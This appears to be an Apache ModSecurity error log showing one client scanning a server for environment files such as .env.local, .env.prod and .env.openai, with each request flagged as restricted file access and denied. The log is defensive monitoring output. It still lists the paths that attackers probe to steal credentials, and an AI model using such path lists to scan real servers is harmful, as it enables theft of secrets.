[Mon Oct 26 23:41:27.595579 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.docker"] [unique_id "auAdZx7MuKI4tGMtwYeNIgAAAAo"]
[Mon Oct 26 23:41:27.595774 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwjA6epjCUwuTm4nxwAAABY"]
[Mon Oct 26 23:41:27.596337 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZx7MuKI4tGMtwYeNIgAAAAo"]
[Mon Oct 26 23:41:27.636335 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.example"] [unique_id "auAdZxnOVh4RLrkQvo0jtAAAACA"]
[Mon Oct 26 23:41:27.636552 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.example"] [unique_id "auAdZxnOVh4RLrkQvo0jtAAAACA"]
[Mon Oct 26 23:41:27.637426 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZxnOVh4RLrkQvo0jtAAAACA"]
[Mon Oct 26 23:41:27.638367 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.live"] [unique_id "auAdZ-n4bIWiIXBuaEF-4gAAAAI"]
[Mon Oct 26 23:41:27.638510 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.live"] [unique_id "auAdZ-n4bIWiIXBuaEF-4gAAAAI"]
[Mon Oct 26 23:41:27.639194 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-4gAAAAI"]
[Mon Oct 26 23:41:27.655882 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.local"] [unique_id "auAdZ024KMCNE5F3hPn8nwAAAAA"]
[Mon Oct 26 23:41:27.656037 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.local"] [unique_id "auAdZ024KMCNE5F3hPn8nwAAAAA"]
[Mon Oct 26 23:41:27.656335 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.old"] [unique_id "auAdZ5GCCt7t6mKgKshQIQAAACI"]
[Mon Oct 26 23:41:27.656510 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.old"] [unique_id "auAdZ5GCCt7t6mKgKshQIQAAACI"]
[Mon Oct 26 23:41:27.656744 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8nwAAAAA"]
[Mon Oct 26 23:41:27.657314 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQIQAAACI"]
[Mon Oct 26 23:41:27.657747 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.openai"] [unique_id "auAdZ-t_JlfYNa0VLOKIqgAAAAw"]
[Mon Oct 26 23:41:27.657994 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.openai"] [unique_id "auAdZ-t_JlfYNa0VLOKIqgAAAAw"]
[Mon Oct 26 23:41:27.658810 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-t_JlfYNa0VLOKIqgAAAAw"]
[Mon Oct 26 23:41:27.671284 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.php"] [unique_id "auAdZwjA6epjCUwuTm4nyAAAABY"]
[Mon Oct 26 23:41:27.671432 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.php"] [unique_id "auAdZwjA6epjCUwuTm4nyAAAABY"]
[Mon Oct 26 23:41:27.672139 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwjA6epjCUwuTm4nyAAAABY"]
[Mon Oct 26 23:41:27.673340 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.prod"] [unique_id "auAdZx7MuKI4tGMtwYeNIwAAAAo"]
[Mon Oct 26 23:41:27.673469 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.prod"] [unique_id "auAdZx7MuKI4tGMtwYeNIwAAAAo"]
[Mon Oct 26 23:41:27.674184 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZx7MuKI4tGMtwYeNIwAAAAo"]
[Mon Oct 26 23:41:27.683858 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.production"] [unique_id "auAdZwNsKVHs98GrhGMUNAAAAAE"]
[Mon Oct 26 23:41:27.684079 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.production"] [unique_id "auAdZwNsKVHs98GrhGMUNAAAAAE"]
[Mon Oct 26 23:41:27.684987 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwNsKVHs98GrhGMUNAAAAAE"]
[Mon Oct 26 23:41:27.712232 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.sample"] [unique_id "auAdZxnOVh4RLrkQvo0jtQAAACA"]
[Mon Oct 26 23:41:27.712407 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.sample"] [unique_id "auAdZxnOVh4RLrkQvo0jtQAAACA"]
[Mon Oct 26 23:41:27.713207 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZxnOVh4RLrkQvo0jtQAAACA"]
[Mon Oct 26 23:41:27.714606 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.save"] [unique_id "auAdZ-n4bIWiIXBuaEF-4wAAAAI"]
[Mon Oct 26 23:41:27.714773 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.save"] [unique_id "auAdZ-n4bIWiIXBuaEF-4wAAAAI"]
[Mon Oct 26 23:41:27.715447 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-4wAAAAI"]
[Mon Oct 26 23:41:27.732214 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.staging"] [unique_id "auAdZ024KMCNE5F3hPn8oAAAAAA"]
[Mon Oct 26 23:41:27.732382 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.staging"] [unique_id "auAdZ024KMCNE5F3hPn8oAAAAAA"]
[Mon Oct 26 23:41:27.732649 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.swp"] [unique_id "auAdZ5GCCt7t6mKgKshQIgAAACI"]
[Mon Oct 26 23:41:27.732905 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.swp"] [unique_id "auAdZ5GCCt7t6mKgKshQIgAAACI"]
[Mon Oct 26 23:41:27.733133 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8oAAAAAA"]
[Mon Oct 26 23:41:27.733830 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQIgAAACI"]
[Mon Oct 26 23:41:27.734815 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.test"] [unique_id "auAdZ-t_JlfYNa0VLOKIqwAAAAw"]
